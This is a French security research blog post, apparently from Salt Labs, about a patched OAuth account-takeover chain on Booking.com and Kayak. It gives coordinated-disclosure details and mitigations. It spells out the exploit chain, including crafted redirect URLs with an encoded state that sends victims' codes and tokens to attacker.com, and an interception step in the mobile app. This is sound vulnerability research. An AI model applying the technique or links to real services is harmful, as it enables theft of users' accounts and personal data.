OAuth (Open Authorization) est une norme d'autorisation ouverte et moderne conçue pour permettre la délégation d'accès entre applications — par exemple, en permettant à votre application de lire des données de votre profil Facebook. Combiné avec les extensions appropriées, OAuth peut également être utilisé pour l'authentification — par exemple, pour vous connecter à votre application en utilisant vos identifiants Google.
Depuis sa première introduction en 2006, OAuth a gagné une immense popularité. Des études récentes montrent qu'environ 90 % des utilisateurs préfèrent la connexion sociale à l'inscription traditionnelle par e-mail sur les sites web. Compte tenu de l'utilisation généralisée d'OAuth, toute vulnérabilité découverte dans ses composants ou leurs implémentations peut entraîner un impact considérable sur la sécurité des applications et services qui les utilisent.
La prise de contrôle de compte basée sur OAuth est une méthode d'attaque API classique ; cet e-book explique comment fonctionnent les attaques API et pourquoi elles échappent aux outils traditionnels.
Cet article est le premier d'une série visant à décrire ces problèmes en profondeur, avec des détails techniques riches, et à partager des cas d'utilisation réels mettant en évidence ces erreurs et leur impact potentiel. Pour ce premier article, nous décrivons un problème d'implémentation OAuth que les chercheurs de Salt Labs ont pu trouver chez Booking.com, une entreprise avec 16 milliards de dollars de revenus annuels.
Concernant les problèmes OAuth que nous avons découverts, si un acteur malveillant les avait découverts et exploités avec succès, cet attaquant aurait pu prendre le contrôle des comptes des utilisateurs se connectant via Facebook. Une fois connecté, l'attaquant aurait pu effectuer n'importe quelle action au nom des utilisateurs compromis et obtenir une visibilité complète du compte, y compris toutes les informations personnelles d'un utilisateur. Nos recherches ont révélé que les attaquants auraient pu ensuite utiliser les identifiants booking.com compromis pour se connecter également à la société sœur Kayak.com.
Tous les problèmes décrits dans cet article ont été signalés à Booking.com, et l'entreprise a agi très rapidement pour les résoudre et les atténuer complètement. Nous tenons à saisir cette occasion pour remercier Booking.com pour son approche professionnelle et sa coopération avec Salt Labs dans cette affaire. Booking.com a fourni ce commentaire :
"Dès réception du rapport de Salt Security, nos équipes ont immédiatement enquêté sur les conclusions et ont établi qu'il n'y avait eu aucune compromission de la plateforme Booking.com, et la vulnérabilité a été rapidement résolue. Nous prenons la protection des données de nos clients extrêmement au sérieux. Non seulement nous traitons toutes les données personnelles conformément aux normes internationales les plus élevées, mais nous innovons continuellement nos processus et systèmes pour assurer une sécurité optimale sur notre plateforme, tout en évaluant et en améliorant les mesures de sécurité robustes que nous avons déjà mises en place. Dans le cadre de cet engagement, nous accueillons favorablement la collaboration avec la communauté mondiale de la sécurité, et notre Programme de Bug Bounty devrait être utilisé dans ces cas."
La courte vidéo suivante offre un aperçu visuel de la manière dont les chercheurs de Salt Labs ont pu détourner le processus de connexion OAuth.
Plongeons dans les détails.
Qu'est-ce qu'OAuth ?
OAuth 2.0 est un cadre couramment utilisé qui permet aux utilisateurs d'autoriser des applications tierces à accéder à leurs ressources sans partager leurs mots de passe. Par exemple, vous pouvez autoriser Slack à accéder à votre calendrier Google afin que vos collègues puissent voir quand vous êtes en réunion.
OAuth n'était pas initialement destiné à être un cadre d'authentification, mais il est devenu un mécanisme d'authentification largement utilisé pour les utilisateurs grâce à la fonction de connexion sociale — l'option « Se connecter avec Google/Facebook » que vous voyez sur les sites et dans les applications. De nombreux sites web et applications de commerce électronique utilisent OAuth, par exemple, pour permettre aux utilisateurs d'authentifier leur compte et d'effectuer des achats sans avoir à saisir leurs identifiants plusieurs fois.
Vous avez peut-être entendu parler d'« OpenID Connect » pour l'authentification — c'est un concept similaire et basé sur OAuth.
Une faille de sécurité dans OAuth peut entraîner le vol d'identité, la fraude financière et l'accès à toutes sortes d'informations personnelles, y compris les numéros de carte de crédit, les messages privés, les dossiers médicaux, et plus encore. L'année dernière, de nombreux blogs intéressants ont décrit la prise de contrôle de comptes dans les flux d'authentification OAuth, tels que « Dirty Dancing » de Frans Rosen et le blog de Youssef Sammouda, dont les découvertes lui ont valu une récompense de 44 625 $ de la part de Facebook. Ces blogs et d'autres offrent des informations précieuses sur le fonctionnement interne d'OAuth et les risques potentiels qui y sont associés.
Comment OAuth fonctionne-t-il pour l'authentification ?
Commençons par un diagramme simple et non technique :
Expliquons les étapes, une par une :
1. Vous accédez à Randomsite.com et cliquez sur « Se connecter avec Facebook ».
2. Randomsite.com ouvrira une nouvelle fenêtre vers Facebook.
3. Si c'est votre première fois sur Randomsite.com, Facebook vous demandera d'accorder l'autorisation. Sinon, Facebook vous authentifiera automatiquement.
4. Après avoir cliqué sur « Continuer en tant que John », Facebook générera un jeton secret. Ce jeton est privé pour Randomsite.com, et associé à votre profil Facebook.
5. Facebook vous redirige vers Randomsite.com avec ce jeton.
6. Randomsite.com utilise le jeton pour communiquer directement avec Facebook afin d'obtenir votre adresse e-mail.
7. Facebook confirme qu'il s'agit bien de john@gmail.com, et Randomsite.com peut le connecter.
Et maintenant, approfondissons les détails, en ajoutant des URL au diagramme :
Aux étapes 2-3 :
Après que John a cliqué sur « Se connecter avec Facebook », Randomsite.com ouvre une nouvelle fenêtre à l'adresse suivante :
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://randomsite.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token.
Notez le paramètre redirect_uri – il indique à Facebook où envoyer le jeton aux étapes 4-5.
Aux étapes 4-5 :
Facebook prépare un jeton secret pour Randomsite.com (le paramètre client_id indique à Facebook que la requête provient de randomsite.com) et redirige votre navigateur vers redirect_uri. La redirection exacte :
https://randomsite.com/OAuth#token=[secret_token]]&state=[Random_Value]
Aux étapes 6-7 :
Randomsite.com lit le jeton depuis l'URL et l'utilise pour communiquer directement avec Facebook via l'API suivante :
https://graph.facebook.com/me?fields=id,name,email&access_token=[secret_token].
La réponse est john@gmail.com.
Le flux dans l'exemple est appelé « implicit grant type », ce qui est courant dans les applications monopages et les applications de bureau natives qui n'ont pas de back-end. Bien que j'aurais pu utiliser un exemple sans back-end (sans Randomsite.com), j'ai décidé de combiner un implicit grant type avec un back-end car c'est plus facile à comprendre.
Google, Apple et d'autres fournisseurs bien connus suivent un flux similaire. Une méthode plus récente tire parti de la fonctionnalité PostMessage au lieu d'une redirection, mais nous n'abordons pas ce cas d'utilisation dans cet article. L'utilisation de la redirection reste l'approche la plus courante.
Implémentation OAuth chez Booking.com
Pourquoi Booking.com
Booking.com, qui fait partie de Booking Holdings, une entreprise du Fortune 500, est l'une des plateformes de réservation d'hôtels les plus populaires et les plus utilisées. L'entreprise compte plus de 15 000 employés et génère 16 milliards de dollars de revenus annuels.
En tant que client satisfait de Booking.com, j'ai utilisé la plateforme de nombreuses fois pour réserver des vacances. En tant que chercheur en sécurité, j'ai voulu examiner l'implémentation OAuth avant qu'un hacker mal intentionné ne le fasse.
Comment OAuth fonctionne chez Booking.com
Le flux est très similaire à l'exemple avec Randomsite.com, à l'exception d'une nouvelle étape que nous avons marquée en rouge :
Étape 1 : Dans Booking.com, vous cliquez sur « Se connecter avec Facebook ».
Étapes 2-3 :
Booking ouvre le lien suivant : https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/social/result/facebook&scope=email&client_id=210068525731476&state=[large_object]&response_type=code.
Notez que le type de réponse est un code et non un jeton, comme nous l'avons vu dans l'exemple de Randomsite.com.
Un code est une valeur temporaire qui doit être échangée contre un jeton. Il ajoute une couche de sécurité supplémentaire, comme je l'expliquerai aux étapes 6 et 7.
Étapes 4-5 :
Facebook vous authentifie et vous redirige vers booking.com avec un code.
https://account.booking.com/social/result/facebook?code={code}&state=[large_object]
Notez que le code a été transmis à account.booking.com dans un paramètre de requête (?code=) au lieu d'un fragment d'ancre (#token=) comme dans l'exemple de Randomsite.com. Nous reviendrons plus en détail sur ce problème ultérieurement.
Étapes 6-7 :
Pour obtenir un jeton, booking.com doit échanger le code contre un jeton en utilisant l'API Facebook suivante :
Cette étape ne peut être effectuée que par Booking.com car elle implique un {app-secret} que seul Booking.com connaît. Le code est à usage unique – c'est-à-dire qu'il ne peut être échangé qu'une seule fois. Cette approche est plus sécurisée – si un attaquant dérobe le code, il est presque impossible de l'exploiter.
Étapes 8-9 :
Comme nous l'avons vu sur Randomsite.com, Booking.com utilise l'API Facebook pour obtenir des informations vous concernant, telles que votre adresse e-mail. Si Booking.com possède un compte utilisant cette adresse e-mail, alors Booking vous connecte à ce compte existant.
Ce flux, courant sur presque tous les sites modernes, est appelé « octroi de code d'autorisation » ou « flux explicite OAuth ».
Prise de contrôle de compte sur Booking.com
Dans OAuth, l'objectif de l'attaquant est de voler le jeton ou le code de la victime. Dans le cas de Booking, l'accent est mis sur le code. Ma méthodologie générale en matière de recherche OAuth consiste à provoquer des comportements inattendus du flux en modifiant chaque paramètre possible, afin de voir comment ces manipulations me rapprochent de la capacité à lancer une attaque réussie.
J'ai réussi à enchaîner trois problèmes de sécurité différents, que j'expliquerai en détail, pour permettre une prise de contrôle complète du compte sur Booking.com.
Faille de sécurité 1 — ne pas autoriser un chemin unique
En manipulant quelques-unes des étapes de la séquence OAuth pour ce site, j'ai pu obtenir des informations utiles et initier un chemin de manipulation.
À l'étape 1, j'ai modifié le redirect_uri vers un chemin différent et envoyé ce lien à une victime :
Notez que nous ne pouvons pas modifier l'origine (account.booking.com) car Facebook générera une erreur – cela ne correspond pas à l'origine prédéfinie fournie par Booking.com.
Lorsque Booking.com s'est enregistré auprès de Facebook, ils ont fourni une origine prédéfinie pour le redirect_uri, mais n'ont pas fourni de chemin exact. Par conséquent, Facebook ne peut valider que l'origine avant que la redirection ne se produise.
Étape 4 : Ce lien redirigera la victime vers :
Nous pouvons envoyer le code à n'importe quel chemin que nous voulons, nous cherchons donc maintenant un moyen d'envoyer le code à une autre origine/domaine que nous contrôlons.
Faille de sécurité 2 — redirection ouverte
À ce stade, j'avais besoin d'un chemin dans booking.com qui redirigerait la victime vers mon domaine contrôlé. C'est la définition d'une vulnérabilité de redirection ouverte.
Je commence à explorer les fonctionnalités de Booking.com, et je trouve quelque chose d'intéressant dans « Mon tableau de bord » :
Cliquer sur « ajouter un nom d'affichage » renvoie à l'URL suivante :
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiIvbXlzZXR0aW5ncy9wZXJzb25hbCIsImFpZCI6IjEyMyJ9
Cette URL redirige automatiquement l'utilisateur vers : https://account.booking.com/mysettings/personal. Pouvez-vous deviner comment ?
Je remarque immédiatement que la variable state contient une chaîne JSON base64 : eyJteXNldHRpbmdzX3BhdGg6Ii9teXNldHRpbmdzL3BlcnNvbmFsIiwiYWlkIjoiMTIzIn0.
Décodons-le :
Il semble que Booking utilise le mysettings_path pour déterminer comment rediriger l'utilisateur.
Encodons le JSON suivant :
Nous remplaçons l'état dans le lien original et envoyons le nouveau lien à la victime :
Le lien redirige automatiquement la victime vers un lien plus court (je l'ai omis précédemment) :
Puis vers :
https://attacker.com/index.php
Vous avez peut-être vu les mots « OAuth » ou « redirect_uri » dans le lien de redirection ouverte. Je suppose qu'il s'agit d'une implémentation interne d'OAuth chez Booking.com. Cela n'est pas lié à Facebook ni au redirect_uri de la faille de sécurité 1.
Nous avons maintenant une faille de redirection ouverte sur booking.com.
Faille de sécurité 1 + 2 = Tentative de prise de contrôle de compte
Le lien vers Facebook de la faille de sécurité 1 (où nous pouvons envoyer le code à n'importe quel chemin souhaité) :
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/any/path/we/want&scope=email&client_id=210068525731476&state=large_object]&response_type=code
+
Le lien de redirection ouverte de la faille de sécurité 2 (redirection vers www.attacker.com) est :
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGg6InJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ
=
Insérons le lien de redirection ouverte dans le redirect_uri de la faille de sécurité 1 :
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGg6InJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=code&client_id=210068525731476
Nous envoyons ce lien à la victime.
Modification du type de réponse
Si la victime clique sur le lien tel quel, Facebook redirige l'utilisateur vers l'URL de la faille de sécurité 2, avec un code :
C'est l'URL avec la redirection ouverte (le paramètre d'état eyJteXN… pointe vers attacker.com), donc Booking redirige la victime vers : https://attacker.com/index.php.
Cependant, lors d'une redirection, seules les valeurs après le « # » (fragments d'URL) sont transmises par le navigateur. Le code, qui était transmis dans un paramètre de requête (?=code=), n'a pas été envoyé à attacker.com (il n'apparaît pas dans la redirection vers https://attacker.com/index.php).
En modifiant le type de réponse de « code » à « code, token », Facebook enverra à la fois le code et le jeton dans le fragment d'URL. C'est une fonctionnalité :)
La raison : étant donné qu'un jeton d'accès est une valeur très sensible dans OAuth, l'utilisation du fragment d'URL est une approche plus sécurisée. Il n'est pas envoyé côté serveur et n'apparaît pas dans les journaux – seul le code JavaScript peut le lire. (Pour plus d'informations sur ce détail, vous pouvez rechercher « OAuth implicit grant » sur Google.)
Résumé du flux :
Étape 1 : L'attaquant envoie le lien suivant à la victime :
Étapes 2 et 3 : Une fois que la victime clique sur le nouveau lien (avec response type=code,token), Facebook automatiquement redirige l'utilisateur vers l'URL de la faille de sécurité 2 avec un code dans le fragment d'ancre:
Étapes 4 et 5 : C'est l'URL avec la redirection ouverte (l'état pointe vers attacker.com), donc Booking redirige la victime vers : https://attacker.com/index.php
Étape 6 : Le navigateur ajoute le code au fragment d'ancre et redirige la victime vers :
Facultatif : Voyons le code source de attacker.com/index.php :
Index.php — un code javascript qui lit l'URL et l'envoie à save.php.
Save.php — enregistre les entrées dans un fichier journal.
(J'ai généré le code avec sanppify.com)
Tentative de prise de contrôle de compte 1
À ce stade, nous avons le code de la victime. Nous (en tant qu'attaquant) devons démarrer un nouveau flux de connexion et remplacer notre code par celui de la victime. Nous cliquons à nouveau sur « Se connecter avec Facebook » et nous nous connectons avec notre compte.
Dans le flux normal, après que Facebook nous ait authentifiés, il nous redirige vers Booking avec notre code :
Nous interceptons cette requête. Nous remplaçons le code par le code volé de la victime :
Booking.com devrait échanger le code contre un jeton et obtenir les informations de profil de la victime.
Qu'est-ce qui revient ? Attendez un peu…
« Code invalide »
Rien ne se passe. Qu'ai-je manqué ?
Débogage de l'échec de la prise de contrôle de compte — qu'avons-nous manqué ?
Selon la documentation de Facebook, pour échanger un code contre un jeton, Booking.com, côté serveur, devrait utiliser cette API :
Dans la documentation, Facebook a écrit : « Cet argument (redirect_uri) doit être le même que l' original que vous avez utilisé lors du démarrage du processus de connexion OAuth ».
Nous avons démarré le processus de connexion OAuth avec ce lien :
https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ&scope=email&response_type=token,code&client_id=210068525731476
Dans ce cas, l' original redirect_uri est marqué en violet. Ce lien est le lien de redirection ouverte de la faille de sécurité 2.
Cependant, côté serveur, lorsque Booking échange le code contre un jeton en utilisant l' /oauth/access_token API, il envoie à Facebook la valeur codée en dur «https://account.booking.com/social/result/facebook» comme redirect_uri. C'est le redirect_uri que Booking utilise dans le flux normal.
Dans le même flux OAuth, Facebook a reçu deux redirect_uri différents, est devenu suspicieux et a donc généré une erreur.
Découverte de la faille de sécurité 3
À ce stade, je n'ai pas pu trouver de solution sur le web, j'ai donc décidé de faire des recherches sur l'application mobile de Booking.com. J'ai utilisé Android Studio, Frida (pour contourner le SSL pinning) et un décompilateur pour lire le code responsable de l'OAuth sur cette application.
Pour intercepter la requête entre l'application mobile et le backend de Booking.com, j'ai utilisé Burp.
Le diagramme des échanges sur l'application mobile est un peu déroutant – vous pouvez vous concentrer uniquement sur l'étape 6 :
Le flux OAuth dans l'application mobile présente une différence majeure par rapport au flux sur le site web – l'étape 6.
Étapes 3 à 6 : Le code a été transmis à l'application mobile, puis l'application mobile l'a envoyé à Booking.com. Pour être plus précis, le code a été transmis à Chrome->Booking.com->ApplicationMobile->Booking.com
Je ne suis pas sûr de la raison pour laquelle ce ping-pong est nécessaire.
Étape 6 : L'application mobile transmet le code à Booking.com via une requête POST :
Faites attention à resultUri. Pouvez-vous deviner ce que Booking en fait ?
Si Booking.com utilise resultURi comme redirect_uri pour échanger le code contre un jeton, et que nous pouvons contrôler cette valeur, alors nous pouvons contourner la validation de Facebook.
Le redirect_uri original que nous avons utilisé pour l'attaque est :
https://account.booking.com/oauth2/authorize?aid=123;client_id=d1cDdLj40ACItEtxJLTo;redirect_uri=https://account.booking.com/settings/oauth_callback;response_type=code;state=eyJteXNldHRpbmdzX3BhdGgiOiJodHRwczovL2F0dGFja2VyLmNvbS9pbmRleC5waHAiLCJhaWQiOiIxMjMifQ
Pour résumer, en tant qu'attaquant, nous devons :
- Se connecter à Booking.com, depuis l'application mobile de l'attaquant, avec le compte de l'attaquant.
- Intercepter la requête à l'étape 6.
- Remplacer notre code par le code volé de la victime.
- Remplacez resultURi, par le lien que nous avons utilisé pour l'attaque (booking.com/state=eyJteXn..)
Nous envoyons cette requête à Booking.com, et… C'est terminé. Nous pouvons nous connecter au compte de la victime.
(Dans la vidéo, l'attaquant utilise un Mac pour l'attaque, la victime utilise Windows.)
(Remarque : Dans la faille de sécurité n°2, j'avais deux liens qui provoquaient une redirection. Dans la vidéo, j'ai utilisé le lien le plus court.)
Quelle est la suite ?
Nous avons créé un lien qui permet de prendre le contrôle de n'importe quel compte Booking.com utilisant Facebook. Le lien lui-même pointe vers un domaine légitime facebook.com ou booking.com , ce qui rend sa détection difficile (manuellement ou automatiquement). La prochaine étape consiste à vérifier l'impact sur d'autres sites Booking tels que Kayak.com et sur d'autres méthodes de connexion comme Google.
Prise de contrôle de compte sur Kayak.com
C'est une fonctionnalité. Si nous avons accès au compte de la victime sur Booking.com, nous devrions également avoir accès à Kayak.com, qui permet aux utilisateurs de s'identifier en utilisant leur compte Booking.com. Nous avons testé cette théorie, et cela a fonctionné.
Connexion via Google
La vulnérabilité réside dans l'intégration entre Facebook et Booking.com. Cependant, il est possible de se connecter à un compte Booking.com via Facebook même si ce compte a été créé via Google ou une autre méthode de connexion.
Pour le vérifier, nous avons envoyé un lien à un utilisateur authentifié avec Google. Lors de l'exploitation, Facebook a demandé (très légitimement, la victime n'ayant aucune raison de se méfier) d'autoriser l'accès à Booking.com, puis le code a été transmis à notre domaine. Étant donné que le code de la victime est associé à son adresse e-mail, Booking.com lit l'adresse e-mail à partir du code (/token) et connecte l'utilisateur au compte pertinent qui possède cette adresse e-mail.
Impact commercial potentiel
Cette mauvaise configuration d'OAuth a un impact significatif à la fois sur l'entreprise et sur ses clients. Un attaquant pourrait potentiellement effectuer des requêtes non autorisées au nom d'une victime, annuler des réservations existantes, ou accéder à des informations personnelles sensibles telles que l'historique des réservations, les préférences personnelles et les futures réservations. Le site prend également en charge la location de voitures ou la commande de taxis.
Comment atténuer cette menace :
La vulnérabilité décrite dans ce document est une combinaison de trois failles de sécurité mineures. L'essentiel de l'attention est porté sur la première faille de sécurité, qui permet à l'attaquant de choisir un autre chemin pour le redirect_uri.
Lorsque vous réalisez une intégration avec Facebook ou un autre fournisseur, il est extrêmement important de fournir des chemins codés en dur pour le redirect_uri dans la configuration Facebook. Comme vous l'avez vu dans le document, seule l'origine ne suffit pas.
La faille de sécurité n°3 est également liée au redirect_uri. Cette valeur ne doit pas être tirée de l'entrée utilisateur.
Booking.com — Une correction rapide
Des vulnérabilités de sécurité peuvent survenir sur n'importe quel site web, et c'est la réaction qui compte. Nous avons tout signalé à Booking.com, et l'équipe a pu corriger ces failles de sécurité très rapidement. Nous avons été satisfaits de l'engagement de Booking.com en matière de sécurité et de la volonté de l'entreprise d'agir rapidement pour protéger les informations personnelles de ses utilisateurs. En corrigeant le problème, Booking.com a peut-être empêché une violation de sécurité par des pirates malveillants.
Pour en savoir plus sur la façon dont Salt peut aider à défendre votre organisation contre les risques liés aux API, vous pouvez contacter un représentant ou planifier une démonstration personnalisée.
Chronologie de la divulgation
Nous avons suivi la chronologie suivante dans ce processus de divulgation coordonnée. Encore une fois, nous remercions Booking.com d'avoir agi si rapidement pour résoudre ces vulnérabilités critiques.
- Salt Labs découvre les failles de sécurité n°1 et n°2 : 10 novembre 2022
- Salt Labs découvre toutes les failles de sécurité permettant la prise de contrôle de compte : 21 novembre 2022
- Salt Labs établit le premier contact avec Booking.com : 27 novembre 2022
- Salt Labs divulgue les détails techniques à l'équipe de sécurité de Booking.com : 4 décembre 2022
- Salt Labs confirme que les exploits ne fonctionnent plus et que les failles de sécurité ont été résolues : 26 décembre 2022
- L'équipe de sécurité de Booking.com confirme la divulgation de la vulnérabilité, que l'équipe a corrigé les problèmes et qu'elle a validé que les problèmes étaient correctement résolus : 12 janvier 2023
- L'équipe marketing de Salt Security partage un communiqué de presse et un article de blog avec l'équipe média de Booking.com : 19 février 2023
- Booking.com envoie un commentaire officiel à inclure dans le blog de recherche sur les vulnérabilités : 24 février 2023